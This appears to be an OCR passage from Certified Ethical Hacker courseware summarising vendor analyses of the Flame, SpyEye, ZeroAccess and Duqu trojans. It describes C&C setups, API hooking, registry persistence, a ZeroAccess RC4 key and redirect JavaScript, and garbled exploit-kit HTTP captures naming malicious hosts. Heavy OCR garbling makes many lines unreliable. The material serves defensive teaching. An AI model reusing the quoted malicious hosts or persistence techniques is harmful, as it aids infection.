During the past 4 years, servers hosting the Flame C&C
infrastructure moved between multiple locations,

including Hong Kong, Turkey, Germany, Poland, B
Malaysia, Latvia, the United Kingdom, and Switzerland
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c gh

|

(Contd)

According to Kaspersky Lab's sinkhole, infected
users were registered in multiple regions
including the Middle East, Europe, North America,
and Asia-Pacific

The Flame attackers seem to have a high interest
in PDF, Office, and AutoCad drawings

The data uploaded to the Flame C&C is encrypted
using relatively simple algorithms; stolen
documents are compressed using open source
Zlib and modified PPDM compression

Windows 7 64 bit, which we previously
recommended as a good solution against
infections with other malware, seems to be

effective against Flame

Copyright O by E6-6«ncil. Ail Rights Reserved. Reproduction is Strictly Prohibited.

The Flame C&C domains were registered with a list
of fake identities and with a variety of registrars, w
going back as far as 2008

Trojan A nalysis: Flam e (Cont’d)

Source: http://www.kasperskv.com
Kaspersky Lab summarizes the results of the analysis about Flame as follows:

9 The Flame C&C infrastructure, which had been operating for years, went offline

immediately after Kaspersky Lab disclosed the discovery of the malware's existence

recently.

9 Currently there are more than 80 known domains used by Flame for C&C servers and its

related domains, which have been registered between 2008 and 2012.

9 During the past four years, servers hosting the Flame C&C infrastructure moved between

multiple locations, including Hong Kong, Turkey, Germany, Poland, Malaysia, Latvia, the

United Kingdom, and Switzerland.

9 The Flame C&C domains were registered with an impressive list of fake identities and with a

variety of registrars, going back as far as 2008.

9 According to Kaspersky Lab's sinkhole, infected users were registered in multiple regions

including the Middle East, Europe, North America, and Asia-Pacific.
9 The Flame attackers seem to have a high interest in PDFs, Office, and AutoCad drawings.

9 The data uploaded to the Flame C&C is encrypted using relatively simple algorithms. Stolen

documents are compressed using open source Zlib and modified PPDM compression.
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Windows 7 64 bit, which we previously recommended as a good solution against infections

with other malware, seems to be effective against Flame.
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Flame C&C Server Analysis CEH

(tifd KNG 10wt

Flame's C&C Server was running on 64-bit
Debian 6.0.x OS under OpenVZ and using PHP,

Python, and bash programming languages with

MR H e
MySQL database on Apache 2.x web server
with self-signed certificates
It was accessible over the HTTPS protocol,
ports 443 and 8080
The document root directory was
Ivar/www/htdocs/, which has sub-directories
and PHP scripts joaalitl JghID MabX
An infected machine was controlled using a Contents of the /var/www/htdocs/newsforyou/ directory
message-exchange mechanism based on data
containers files ontrol tund
e "n__
I B

. e
I Donvrionil dalj
- V
L}

Control panel interface
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Sp Flame C&C Server A nalysis
Source: http://www.kaspersky.com

Flame's C&C Server was running on 64-bit Debian 6.0.x OS under OpenVZ and using PHP,
Python, and bash programming languages with MySQL database on Apache 2.x web server with
self-signed certificates. This server configuration was a typical LAMP (Linux, Apache, MySQL,
PHP) setup. It was used to host a web-based control panel as well as to run some scheduled

fully automated scripts in the background.

It was accessible over the HTTPS protocol, ports 443 and 8080. The document root directory
was /var/www/htdocs/, which has sub-directories and PHP scripts. While the systems had PHP5
installed, the code was made to run on PHP4 as well. For example,
Ivar/www/htdocs/newsforyou/Utils.php has the "str_split" function defined that implements
the "str_split" function logics from PHP5, which was not available in PHP4. The developers of
the C&C code most likely implemented compatibility with PHP4 because they were not sure

which one of two major PHP versions would be installed on the C&Cs.
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Flame C&C Server Analysis r Wu

(Cont'd) Certified | ttfexjl »Utbce

C&C can understand several communication protocols including OldProtocol,
OldProtocolE, SignupProtocol, and RedProtocol to talk to different clients
codenamed SP, SPE, FL, and IP

COMMAND AND CONTROL SERVER

FL (Flame)
PROTOCOLS

L OldPRotocol
t>
CLIENTS RedProtocol

Not yet implemented

e-> OldProtocollE

l 1 1
HTTP, HTTPS
i
mf> SignupProtocol
|
S
Clients and Protocols relations found in this Flame C&C hittp=/Anww_kospersky .aon
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Flam e C &C S erver Analysis (C ont’'d)
Source: http://www .kaspersky.com

C&C can understand several communication protocols including OIldProtocol, OIldProtocolE,
SignupProtocol, and RedProtocol to talk to different clients codenamed SP, SPE, FL, and IP. A
typical client session handled by the C&C started from recognition of the protocol version, then
logging of connection information, followed by decoding client request and saving it to the local
file storage in encrypted form. All metadata about files received from the client was kept in a
MySQL database. The C&C script encrypts all files received from the client. The C&C uses a PGP-
like mechanism to encrypt files. First, the file data is encrypted using the Blowfish algorithm in
CBC mode (with static IV). The Blowfish key is generated randomly for each file. After file
encryption, the Blowfish key is encrypted with a public key using asymmetric encryption

algorithm from the openssli_public_encrypt PHP function.
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FL (Flame)

SP
CLIENTS

SPE
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COMMAND AND CONTROL SERVER

PROTOCOLS

OldPRotocol 1 n

RedProtocol
Not yet implemented

= OldProtocollE

mwe SignupProtocol

FIGURE 6.39: Clients and protocol relations found in this Flame C&C
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J The Trojan makes use of user mode rootkit techniques to hide both its registry key
located \nS\deHKEY_CURRENT_USER\SOFTWARE\Microsoft\ Windows\Current
Version\Run and the folder containing the Trojan executable and the configuration
file config.bin

J The folder is usually located in the root directory of the drive where the operating
system is located

SpyEye is able to inject code in running
processes and can perform the following ——

NN 1in®A  /H/rAUd/n *POBAEBXE
functions: v rﬂp\m (%
W 9
© Capture network traffic 8\/\% «%(\W
Wd'
t> Send and receive network packets in order 8//».N\W\"h”»a n a>o BIEA
- ) CVA" noOWsY<D>rih 1) (R
to bypass application firewalls i dl 1
e Hide and prevent access to the startup Y 1111y 1111 ﬂ%ﬁl
. w1 RN I THCACARDY . S3
registry entry CV/ 5»ONSydel32>5nbo0Rexc(BOMMNIVE T di(in Idl/leKHandc i (HI.II}%;&J
C\/"lJOOW\\lyﬂrn32\«nb71nexr(64LMNWErd\lHIﬂSe\vﬂrci 1ACHEH07h aQB7
CYw»@OWS\Mten#32"whoorLaxef&40iv,IINII'Er.dl!HRc$arl:Roau«dt . 7AICTBE2B*et

e Hide and prevent access to the binary code
API functions hooked by the Trojan within the
winlogon.exe virtual address space

© Hide the own process on injected processes

e Steal information from Internet Explorer
and Mozilla Firefox
http://ftechblog.avira.com
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A Trojan Analysis: SpyEye
Source: http://techblog.avira.com

The Trojan makes use of user mode rootkit techniqgues to hide both its registry key located
inside HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\Run and the
folder containing the Trojan executable and the configuration file config.bin. The folder is

usually located in the root directory of the drive where the operating system is located.
SpyEye is able to inject code in running processes and can perform the following functions:
9 Capture network traffic
0 Send and receive network packets in order to bypass application firewalls
Q Hide and prevent access to the startup registry entry
Q Hide and prevent access to the binary code
0 Hide the own process on injected processes

0 Steal information from Internet Explorer and Mozilla Firefox
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The following API functions are hooked by the Trojan within the winlogon.exe virtual address

space:
text C:\WINDOWS\System32Salgexel4681WININETdIIMnternetReadFileExA 771F7E9A 8 Bytes JMP O0BAEB2E6
text C:\WINDOWS\System32\alg exe[468] WININET dlliHttpSendRequestW 77211808 8 Bytes JMP OBAEE296
text C:\WINDOW S\system32\winlogon exe[840) ntdll dll! NtEnumefateValueKey 7C90D97G 8 Bytes JMP 0BAD769B
text C:\WINDOWS\system32\winlogon. exe[640j ntdll. dll! NtQueiyDirectoryFile 7C90DF5E 8 Bytes JMP OBAE2DC2
text C:\WINDOW S\system32\wlnlogon exe[640j ntdll dill NtResumeT hread 7C90E45F 8 Bytes JMP 0BAF1507
text C:\WINDOWS\system32\winlogon. exe[640j ntdll dll!NtSetl nformationFile 7C90E5D9 8 Bytes JMP OBAD73E5
text CAWIN DOWS\system32\winlogon. exe[640] ntdll. dll! NtVdmControl 7C90E975 8 Bytes JMP OBAE2E78
text C:\WINDOW S\system32\winlogor! exe[640j kernel32.dll! FlushinstructionCache = 7C839277 8 Bytes JMP 0BAD7831
text C:\WINDOWS\system32\winlogon. exe[640] ADVAR 32.dll! CtyptEncrypt 77DF1558 8 Bytes JMP OBAEAOE1
text C:\WINDOWS\system32\winlogon. exe[840] CRYPT 32.dll! PFXI mportCertStore 77AEF748 8 Bytes JMP OBADESQA
text C:\WINDOWS\system32\winlogon. exe[640] USER32. dll! TranslateM essage 77D48BCE 8 Bytes JMP 0BAD930C
text C:\WINDOWS\system32\winlogon. exe[840] WS2_32.dll! send 71AB428A 8 Bytes JMP OBAEA9B5
text C:\WINDOWS\system32\winlogon. exe[640] WININET.dll!InternetQueiyOptiorA  771B81A7 8 Bytes JMP 0BAE7B9D
text C:\WINDOWS\system32\winlogon. exe[840] WININET dll!HttpOpenRequestA 771C4ACS 8 Bytes JMP 0BAE7A88
text C:\WINDOWS\system32\winlogon. exe[840] WININET dll!HttpAddRequestHe...  771C54CA 8 Bytes JMP OBADA638
text C:\WINDOWS\system32\winlogon. exe[640] WININET dll!InternetCloseHandle 771 CGIDC 8 Bytes JMPOBAES8415
text C:\WINDOW S\system32\winlogon exe[640) WININET dll!HttpSendR equestA 771C76B8 5 Bytes [EB. 01, C3.E9.7.
text C:\WINDOWS\system32\winlogon. exe[640] WININET dll!HttpSendRequestA .. 771C76BE 2 Bytes [92,94] {XCHG E
FIGURE 6.40: API functions hooked by the Trojan within the winlogon.exe virtual address space
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After execution the Trojan connectsto a
server and sends some information about
the system to the server like:

© MD5 of the executed sample
Operating system version
Computer name

Internet Explorer version

Username

®@ ® © g o

Version number of the malware

0 svchost exe 1096 ubDP 00e5f6al5 1034

O svchost exe 1272 ubP 00e5f6el5 1900

O svchost exe 1052 ubP 00e5f6als 1032

~  System 4 TCP 00e5f$als nettxos-ssn
> System 4 TCP 00e5f6al5 rmctosoftds
Z] System 4 UDP 00e5f6al5 netb»os-ns
~  System 4 UDP 00e5f6als nettaos-dgm
> System 4 uDP 00e5f6al5 rmcjosoftds
~ wniogonexe 660 TCP 00e5f6al5 1083

Exam 312-50 Certified Ethical Hacker

(Cont'd)
push eax
push i*i*6547i*Bh
push 4969h
push 3367h
push 5047h
lea ecx, [ebp-1Ch]
push ecx
push duord ptr [ebp-OCh]
push duord ptr [ebp-10h]
call sub 42F851
leaue
retn

Malware is packed with UPX and a polymorphic decryptor

0
00e5f6als 0 USTENING
[

Malware injected piece of code within winlogon.exe virtual address space

00e5f$als USTENING
]
] L]
revefsemtl-76-76-98-82 gogax com https syn.sent
http:/ftechblog.avira.com
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Trojan Analysis: SpyEye (Cont’'d)

Source: http://techblog.avira.com

After execution, the Trojan connects to a server and sends some information about the system

to the server such as:

0

MD5 of the executed sample

Operating system version

Computer name

Internet Explorer version

User name

Version number of the malware

3 svchostexe 1096 uppP 00e5f6al5 1034

O svchostexe 1272 UDP 00e5f6al5 1900

O svchostexe 1052 UbP 00e5f6al5 1032

ID System 4 TCP 00e5f6al5  netbios-ssn
3 System 4 TCP 00e5f6al5  rraciosoft-ds
Z3 system 4 upbP 00e5f6al5  netosns
A System 4 U5 00e5f6als  netbios-dgm
A System 4 UDP 00e5f6al5  rmciosott-cs
A winlogonexe 660 TCP 00e5f6al5 1063

: ro0O = o=

00e5f6al5 USTENING
00e5t6al5 USTENING
.
- N
reve»se-mtl*76-76-9882" gogax com hitps SYN_SENT

FIGURE 6.41: Malware injected piece of code within winlogon.exe virtual address space
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Malware is packed with UPX and a polymorphic decryptor.

you can see a call to another routine after the end of the usual UPX decryption: call

sub 42F851.

push
push
push
push
push
push
lea

push
push
push
call

leaue

retn

Exam 312-50 Certified Ethical Hacker

eax
44651*74Bh

4969h

3367h

5047 h

ecx, [ebp-1Ch]

ecx

dword ptr [ebp-OCh]
dword ptr [ebp-10h]
subJ*2F851

FIGURE 6.42: Malware is packed with UPX and a polymorphic decryptor
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Trojan Analysis: ZeroAccess CEH

(ertfac itfond Nrim

ZeroAccess, also known as "Smiscer"” or "Max++ rootkit," is a malicious Windows threat used to
generate revenue primarily through pay-per-click fraud

It arrives through various vectors, including web exploit kits and social engineering attacks, and
uses low-level rootkit functionality to remain persistent and stealth

ZeroAccess downloads fake security software, performs click fraud and search engine poisoning

SSSE39
Iocleam
aUddtot Novkt

EXamp|e + ckklic Pay Per dtk
Dfar sirs!

i W* «« proud to armour*.e 4 I1+=* modem tokAum h= POC 04ffc... cafed ChckU.« PPC clickice.com
advertisement for CMcklce Team ncfcides professionals 0L vanous liekJs. who are woriong every day to make th« PPC even better tor you.

the Clicklce pay- Apart fom genejoys ics, Sbeide PK ofers you me fouowie:

_di 2. Our admnatratrve nterface mclxies a number or uOMies for traffic procesartg.
per-dick network S. To *irijlify your work witfi statttict, * pouAitv to ctoos= CMT-baMd lira« *haft for it
4. An entire eoaectton of *eerts «sprowled (PTip reeds. PuMc feeds, image feeds, Javascript and XML reeds).
5. Databases of speaalued keywords are prowtod. ®tis ateo posutHe to obtan niche-spacilk: cusiomuod keyword baset froc of charge based
on webmaster's criteria.
0. Our a4>port can be reached via ICQ. live Chat, e-nai or ticket system.

Just give it a try and then make an informed decision. )
dcbce.com

http.//'w ww.symantec.com
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Trojan Analysis: ZeroAccess
Source: http://www.symantec.com

ZeroAccess, also known as "Smiscer"” or "Max++ rootkit/7is a malicious Windows threat used to
generate revenue primarily through pay-per-click fraud. ZeroAccess uses low-level rootkit
functionality to remain persistent and stealth. It arrives through various vectors, including web
exploit kits and social engineering attacks. Although ZeroAccess contains generic backdoor
functionality that could be used for multiple purposes, it has been observed downloading fake

security software, performing click fraud, and searching engine poisoning.
Click fraud scheme

Upon infection, ZeroAccess will install additional payload modules, downloaded through its
back door. Generally, this is an executable that performs click fraud. This click fraud scheme has

been observed to utilize more than one pay-per-click affiliate network.

Advertisers sign up with ad networks that in turn contract website owners who are willing to
display advertisements on their websites in exchange for a small commission. The ad networks
charge the advertisers for distributing and displaying their ads and pay the website owners a

small commission each time a visitor views (pay-per-view) or clicks (pay-per-click) on the ads.
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« dcklce Pay Per Cfck

Dear Srs!
We are proud to announce a new modem solution for PPC traffic, caled Ckcklce PPC clickice.com
CUcklce Team includes professionals of various fields, who are worlung every day to make this PPC even better for you.

Apart from generous bids, Clicklce PPC offers you the folowrx):

Webmasters Advanced feed version.

Our administrative interface includes a number of utihbes for traffic processng.

To swnplify your work with statistics, it is possible to choose GMT-based dme shift for it.

An entire collection of feeds is provided (Php feeds, Pubfcc Feeds, Image feeds, JavaScript and XML feeds).

. Databases of specialized keywords are provided; it is also posstole to obtavi niche-specific customized keyword bases free of charge based
on webmaster's cnteria.

6. Our support can be reached via ICQ, Live Chat, e-mail or ticket system.

EESCECNS

Just give it a try and then make an informed decision. :)
cbcklce.com

FIGURE 6.43: Example advertisement for the Clicklce pay-per-click network
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Trojan Analy

J Inaddition to generating revenue through
pay-per-click networks, ZeroAccess hijacks
user's searches

When an infected user searches in popular
search engines, (including google.com,
bing.com, icq.com, yahoo.com, ask.com,
and aol.com), ZeroAccess sends an
additional GET request similar to the
following:
http://suzukiuxw[.]an/r/redirect.php
?Xd=9de5404ac67a404a0ela775f212cd210
&Uu=198&cv=150&sv=15&0s=501. 804 .x86
This causes an additional pop-up window or
tab to be created, the new window or tab
will contain search results for the original
search query with hijacked links or
additional content

Exam 312-50 Certified Ethical Hacker

Sis: ZeroAccess

(Cont'd)

CEH
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An example of returned HTML can be
seen below

function FormatRedirect(ref,
title) { body = "<htmlI><head>
<title>" + title + "</title>
</head><framesetxframe src=\
Jhttp /) + ref + "\">
</frameset></htmI>";
AddPage("www.google.com.hk/
search?q=car&hl=zh-CN&source=
hp&gbv=I1",2,null, 0, "HTTP/1.1
200\r\nConnection: close\r\
nCache-Control: no-cache\r\

nPragma: no-cache\r\nContent-
Length: " + body.length +
"\r\n\r\n" + body);

}

FormatRedirect("kozanekozasearchsys
tern.com/?search=car&subid=198&key=4
15db60c8aa8lc

Obed€8", "car") ;

http:/Amw.symontec.com

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

ggijij Trojan Analysis ZeroAccess (Cont’'d)

Source: http://www.symantec.com
In addition to generating revenue through pay-per-click networks, ZeroAccess hijacks wusers'’
searches. W hen an infected user searches in popular search engines (including google.com,
bing.com, icg.com, yahoo.com, ask.com, and aol.com), ZeroAccess sends an additional GET
request similar to the following:
http://suzukimxm/|"lecn/r/redirect.php?id=9de5404ac67a404a0ela775f212cd210&u=198&¢cv=1I
50& sv=15& 0s=501.804.x86
This causes an additional pop-up window or tab to be created. The new window or tab will
contain search results for the original search query with hijacked links or additional content. An
example of returned HTML can be seen as follows.
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1: <jst>

function FormatRedirect(ref,
title) { body = "<htmlI><head>
<title>" + title + "< /title>
</head><framesetxframe src=\
"http ://" + ref + "\">

</frameset></htmlI>";

AddPage("www.google.com .hk/

search?q=car& hl=zh-CN&source=
hp&gbv=1",2,null, 0, "HTTP/1.1
200\r\nConnection: closel\r)\
nCache-Control: no-cachelr\
nPragma: no-cachelr\nContent-
Length: " + body.length +
“"\r\n\r\n" + body);

FormatRedirect("kozanekozasearchsys
tem .com/?search=car& subid=198 &key=4

15db60c8aas8lc

Obed68", "car'");

FIGURE 6.44: An example of returned HTML
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Trojan Analysis: ZeroAccess ( "H

(Cont'd) fertifM| BLUGI 1IN

|fET /oanp91lcm/?4 HTTP/ 1.1

Host: lovrru3tard.org yL |

User-Agent: Hosillas5.0 (W H en~US; rvsl.8.1.13) Gecko/20080311 Firefox/2.0.0.13
Accept: text/xml,applicatiq Main AttaCk URL I1.text/html;q*O.9,text/plain;q0.8”.|mage/png,»/”;q70.5
Accept-Languag en-us,en;q=0.5

Accept-Encodi gzip,deflate

Accept-Charaet: 1S0-8859-1,utf-8;9-0.7,*;9*0.7

Keep-Alive: 300Connection: keep-alive

-chcinlxbodyxdiv id- "wag" x/divxdiv id-‘'lat*x/divxdiv id-"fry"x/divxdiv id-*fud® ></divxdiv id-’hagl></div;
<dlv Id-Taj X/dlvXdIv/~ET /05np»l<cnl/PdSib2 7aegbt ;8j7:{?10"0&{A"C.5 5604{aft01001);0.:5»?QS05 8".b".;6!.1 HTTF/1.1
c, ixc#pt-encoding: pa

X X C i ' content-type: appil .
0:q<hig++)(o+-p;c ‘]-Cha‘jsepAgem: momarasa0 ¢ Second Stage Exploits
(§/a) ;K-pacselnt (c, 16) :m ost: lov«»nustard.or
) ;kat-"bQ3LkY78YdAccept: text/html, ?mage/gi
w7;abs=cun(pya, leiconnection: keep-alive
Uop.ave) :uM»-"QIP5bS790 HTTP/1-1 200 OK
[oullifunction shh(u)(rejate: Tue. 25 Oct 2011 15:19:20 GMT
v.p.».fria-'Ptd8EarallE45erv<>r: Apache/2.2.17 (Unix) php/5.2.1?
function 3ay(v,w, k) {var k-powered-By: php/5.2.17
¥. y))function 0rc(o)(vajy8°r"r‘[‘*e”p"'jf'_“%‘_"' 4096 . N N
g cm "chang26m® ;d-ru; W N A d1/ %SaVce4c m%]r Orvel2544cg{f)\/\15f;‘aﬁ701ozod0c5707045eoz 545401075¢5003;1;

- - °"t!juSer’ m . . .
X1 somvme) (iF (o 11 Cbar il ] <o 51 org @ Y
1/3,s,k, r,a;1-"65750Q77S<e@P Accept: text/html. fmagee//glf, image/jpeg, ": ZeroAccess Download
[It] ;2¢¢) (try(z-nev Activ’r connection: keep-alive
m’a;9 "mELI8EM6Q

™
vk xvo Lo ol e, 15200dKo011 15:49:21 our
(», 8);d-'mY9g4a5b8at3Tdw. 3server: Apaches/2.2.17 (unlx) php/5.2.17
iff () (var k,y,s,n,u, r,a e <-POwered”By: php/5.2.17
(r.3);2-*Q9PE430108LPtfe™< content-Length: 243712
<Y :ontent-Disposition: inline; filename-emgdE8ve4

content-Type: applicatlon/octet-stream

8.. 8F >c-pad: avoid browser bug ZeroAccess Download
..pk. <_cache: miss from domaln.com
J.E.. <eep-Allve: timeout-1
-L- connection: Keep-Alivi aET -php>w=19 .e82&f444fa78M44di5«Wi624«&6c4a-i3
40st: exezkzla.cn
,.ser-Agent: opera/6 (windows mt 5.1; u; Langio-409; x86)
' Connection: close

u,».«,q.0.z,fc,c,0) h.l

Exploit kit dropping ZeroAccess http:/Aww.5ymantec.com

Copyright © by EG-C(ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Trojan Analysis: ZeroAccess (Cont’'d)
Source: http://www.symantec.com

ZeroAccess can also be installed through web exploit kits. The user is often falsely given the

impression they will be installing an update for an application, such as Adobe Flash player. This
use of various exploit kits to install ZeroAccess is likely simply a byproduct of its authors
attempting to evade IPS rather than an indication of ZeroAccess being sold to other

distributors.
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SET /0snp9licm/?4 HTTP/1sl
Hose: 10M1nuscard.org
User-Agent: Hozilla/5.0 Main Attack URL en-US: rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13
Accept: text/xml,applicati wll/text/html; q-0.9,text/plain;q-0. 0, image/png, */*;q-0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: 1SO-8859-1,utr-8;q-0.7, ;0-0.7
Keep-Alive: 300Connection: keep-alive
chtmixbodvxdiv id='w_ag'x/divxdiv id="lat'x/divxdiv id*'frv'x/divxdiv id="fud'x/divxdiv id='hgalx/div
<dlv id~'raj'></d lV><divf=ET /05np?>11an7,’~HA5027aeebF56¢1:!dIOSe_leSGOQQ»S 5604 5c6801 uC0L'uc55!'1 5 6 5 1 51115065 http,.1.1"
b0 00 ko i Lo, Se i) e T
O;q<h;q+_+){Ot:p:c:f'Charusef-Agent: Mozaitn@/4.0 W Second Stage Exploits
;k”parselnt(c,16);wHOst: lowmustard. org .
(anp.fid) ;kat™ 'bQ3LkY78Y Accept: text/html, Tmage/gir, 1mage/;)peg, q.", <
f1;1ei7";ab3 run (pya, leconnection: keep-alive

(10p,ave);umm:‘QIP5&5790 HTTP/L.1 200 CK
[oul] ;function shh(u)(re Date: Tue, 25 Oct 2011 15:49:20 GMT
v,p,w,f,r;w="Ptd8EalrllE4 Server: Apache/2.2.17 (Unix) PHP/5.2.17
function jay(v,m,k) fvar K(—Powered—By: PHP/5.2.17
(v,y)>function orc(o) (v<jontent-Length: 4096
ozt L= ORTSIGE-V Ostp9li cy~'15Vee-e 6 8 3113?5544 Z-P5T851V5701020d0c 570704 5602 545401075¢5003: 1:
(g, 4);c="clkmg26m"d=runc User-Agent: Mozi11a/4.0 (windows XP 5.1)
[X] ;a++) {if (q(I] (bar[a] [x-cac Host: lownustard.ora o )
1.j,z,k,r,a;1-'6575G Q776 Keep- Accept: Text/htmi, image/gif, image/jpeg, ZeroAccess Download
[K] ;2 ++) (try ( z=neu Activ:°nne connection: keep-alive
ro,a;ro9 " 'Ld6Em6Q' ;a*cun (n'p|*
w,fe,z,x,v,3,h,1,d;z2*'ble K+, | HTTP/L1 200 ox .40-
Date: Tue, 25 Oct 2011 15:49:21 GV
(w,8)?d-'»Y9g4a5h8at3lda, server: Apache/2.2.17 iunlx) php/5.2.17
If*(w)<var k,y,s,n,u,c2're ssX-Powered-By: PMP/5.2.17
109*3; (3, w)PE430108LPtfe *° |, Content-Length: 243712

content-Disposition: inline; filename=emgdE8V6.

-

80' = glnjlednerlp_ed bappllcatblcn/octetrslream
-« O x"Pad: avoid browser bug ZeroAcce Downlo
- x-cache: miss from domain.com € ss ad
E.. Keep-Alive: timeout=1!

connection: Keep-Aliveset e8J0f444fa?fif444d1565°410545J66¢ia-13
. Host: exezkzla.cn .
VIZeeiiiitsiee e JussEFAREeNnt: opera/6 (windows NI 5.1; u; LanglD=409; x86)

‘connection: close

FIGURE 6.45: Exploit kit dropping ZeroAccess
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Trojan Analysis: ZeroAccess

Upon execution, ZeroAccess selects a random
driver alphabetically between %System%\
Drivers\classpnp.sys and
%System%win32k.sys and overwrites the
driver with its own code

The original clean driver is stored in a hidden
encrypted NTFSvolume using the file name
%System%\config\<RANDOM CHARACTERS>

The hidden volume is used to store the original
clean driver as well as additional components and
downloaded payload modules

The volume is roughly 16 MB in size and is

accessed through the file system device name:
W?2\ACPI#PNP0303#2&dala3ff&0

mt' °Ry \P

Exam 312-50 Certified Ethical Hacker

(~H

(rtifid | QT Mo b

(Cont'd)

The Trojan then creates the following registry
entries to ensure the newly infected driver serves
as the main load point for ZeroAccess:

e HKEY_LOCAL_MACHINE\SYSTEM\CurrentCont

rolSet\Services\[FILE name OF
INFECTED DRIVER]\'"ImagePath” = "\*"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentCont
rolSet\Services\[FILE NAME OF
INFECTED DRIVER]\"Type" = "1"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCont
rolSet\Services\[FILE NAME OF
INFECTED DRIVER]V 'Start” = ”3"

Code is then injected into services.exe through an
APC which encrypts the data stored in the hidden
NTFS volume under \??\ACPI#PNP0303#2&da
1a3ff& 0\U and also creates an alternate data

stream file % SystemDrive%\2385299062:
2302268273 .exe and executes it

These main loader components ensure the
additional payload files stored in the hidden NTFS
volume are loaded and executed

http://mww.symantec.com

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

n Trojan Analysis ZeroAccess (Cont’'d)

Source: http://www.symantec.com
Upon execution, ZeroAccess selects a random driver alphabetically between
% System % \Drivers\classpnp.sys and % System %win32k.sys and overwrites the driver with
its own code.
The original clean driver is stored in a hidden encrypted NTFS volume wusing the file name
% System % \config\<RANDOM CHARACTERS>.
The hidden volume is used to store the original clean driver as well as additional components
and downloaded payload modules. The volume is roughly 16 MB in size and is accessed through
the file system device name:
\W\??\ACPI#PNPO0O303#2& dala3d3ff &0
For example, the original clean driver is stored at:
\W\?2?\ACPI#PNPO303#2& dala3ff& OVL\[EIGHT RANDOM CHARACTERS].
This file system of the hidden volume is encrypted using RC4 with the following 128-bit key:
\XFF\x7C\xFI\x64\xI2\xE2\x2D\x4D\xBI\xCF\x0F\x5D\x6F\xE5\xAO0\x4 9
The Trojan then creates the following registry entries to ensure the newly infected driver serves
as the main load point for ZeroAccess:
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© HKEY LOCAL_MACHINE\NSYSTEM\CurrentControlSet\Services\[FILE NAME OF
INFECTED DRIVER]\"ImagePath" = "\*"
9 HKEY _ _LOCAL_MACHINE\NSYSTEM\CurrentControlSet\Services\[FILE NAME OF

INFECTED DRIVER]\"Typel" = e

© HKEY _LOCAL_MACHINE\NSYSTEM\CurrentControlSet\Services\[FILE NAME OF

INFECTED DRIVER]\"Start3™" E
Code is then injected into services.exe through an APC. The injected code encrypts the data
stored in the hidden NTFS volume under \?2?2\ACPI1#PNPO0O303#2&dala3ff&O0\u and also creates
an alternate data stream file % SystemDrive%\2385299062:2302268273.exe and executes it.
These main loader components ensure the additional payload files stored in the hidden NTFS

volume are loaded and executed.
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Duqu is a sophisticated Trojan that acts as a
backdoor and facilitates the theft of private
information

The code section of the Payload DLL is
common for a binary consists of "slices" of
code that may have been initially compiled in
separate object files before they were linked in
asingle DLL

Most of them can be found in any C++
program, like the Standard Template Library
(STL) functions, run-time library functions, and
user-written code, except the biggest slice that
contains most of C&C interaction code

Trojan Analysis: Dut*u

Exam 312-50 Certified Ethical Hacker

D u q u C E H
UMAF T ikVI
Code section, Duqu payload DLL
10001000
C++ Standard Template Library functions
.10004250
Native C++ code with STL
1000C2C9
Payload
Other Language / C framework
No C++
10023878
Native C++code with STL
10028F2C
Run-Time library code
1002EAD1 . L -
Native Ccode for injection
100MOM

APl thunks. Exception handlers

http:/Awww.securelist.com

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited

Source: http://www.securelist.com
Duqu is a sophisticated Trojan that acts as a backdoor and facilitates the theft of private
information. The code section of the Payload DLL is common for a binary that was made from
several pieces of code. It consists of "slices” of code that may have been initially compiled in
separate object files before they were linked in a single DLL. Most of them can be found in any
C++ program, like the Standard Template Library (STL) functions, run-time library functions,
and user-written code, except the biggest slice that contains most of C&C interaction code.
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Code section, Duqu payload DLL

.loooitxio
C++ Standard Template Library functions
.10004230
Native C++ code with STL
.1000C2C9
Payload
Other Language / Cframework
No C++
.10023878
Native C++ code with STL
-10028F2C
Run-Time library code
i} Native C code for injection
.100300A4

API thunks. Exception handlers

FIGURE 6.46: Duqu Tool Screenshot
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T roj

Source:

This slice

references to an

called the Duqu

is different
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Trojan Analysis: Duqu Framework CEH

Duqu Framework
Code Properties

Everything is wrapped into objects

Function table is placed directly
into the class instance and can be
modified after construction

There is no distinction between
utility classes (linked lists, hashes)
and user-written code

Objects communicate using
method calls, deferred execution
queues, and event-driven callbacks

There are no references to run-
time library functions; native
Windows APl is used instead

an Analysis D uq

http://www .securelist.com

from others, because

standard or user-written

y

Framework.

Duqu Framework Code Properties

Event Driven
Framework

Event objects, based on native
Windows APl handles

Thread context objects that hold
lists of events and deferred
execution queues

events

Callback objects that are linked to

Event monitors, created by each
thread context for monitoring
events and executing callback
objects

Thread context storage manages the |
list of active threads and provides

access to per-thread context objects

u Fram ew
itwas not compi
C++ functions,

The code that implements the Duqu Framework has several
0 Everything iswrapped into objects
0 Function table is placed directly into the class i
construction
0 There is no distinction between utility classes (i
code
0 Objects communicate using method calls, deferred

callbacks
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9 There are no references to run-time library functions; native W indows API is used

instead

Event-Driven Framework

The layout and implementation of objects in the Duqu Framework is definitely not native to C++
that was used to program the rest of the Trojan. There is an even more interesting feature of

the framework that is used extensively throughout the whole code: itisevent driven.

There are special objects that implement the event-driven model:

9 Event objects, based on native W indows API handles

Q Thread context objects that hold lists of events and deferred execution queues

Q Callback objects that are linked to events

© Event monitors, created by each thread context for monitoring events and executing

callback objects

© Thread context storage manages the list of active threads and provides access to per-

thread context objects
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Trojan Analysis: Event Driven
Framework CEH

0
J This event-driven model resembles Objective C and its message passing features,
but the code does not have any direct references to the language, neither does it
look like compiled with known Objective C compilers
0 0
Object 2 Object 2
Event Object ﬂ_Event Monitor Event Object H Event Monitor
________ N e
Callback Object Callback Object
Thread Context: e > Thread Context:
Object 1 Event and Call Object 1 Event and Call
Queue Queue
-
Thread Context Thread Context
Storage Storage
http://www. securelist,com
Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.
Trojan Analysis: Event D riven Framew ork

Source: http://www.securelist.com

The event-driven model resembles Objective C and its message passing features, but the code

does not have any direct references to the language, neither does it look like it is compiled with

known objective C compilers.

Object 2 Object 2
y
Event Object Event Monitor Event Object Event Monitor
___________ L S
Callback Object ' Callback Object

